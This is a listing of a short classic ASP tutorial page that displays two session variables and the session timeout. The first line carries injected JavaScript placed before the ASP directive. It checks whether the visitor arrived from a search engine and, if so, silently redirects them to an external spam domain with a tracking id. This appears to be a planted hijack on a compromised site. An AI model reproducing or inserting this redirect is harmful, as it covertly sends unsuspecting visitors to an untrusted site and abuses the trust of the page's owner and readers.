d:\wwwroot\wuchunhua\session\session_show.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
002: <html>
003: <head>
004: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
005: <title>Session如何共享数据</title>
006: <!--mstheme--><link rel="stylesheet" type="text/css" href="../../../_themes/sky/sky1011-106.css"><meta name="Microsoft Theme" content="sky 1011, default">
007: </head>
008: <body>
009: <%
010: '输出2个Session变量
011: Response.Write("session(""name"")="&session("name")&"<br>")
012: Response.Write("session(""sex"")="&session("sex")&"<br>")
013: Response.Write("session.timeout="&session.timeout)
014: %
>
015: </body>
016: </html>
017:
018:
019: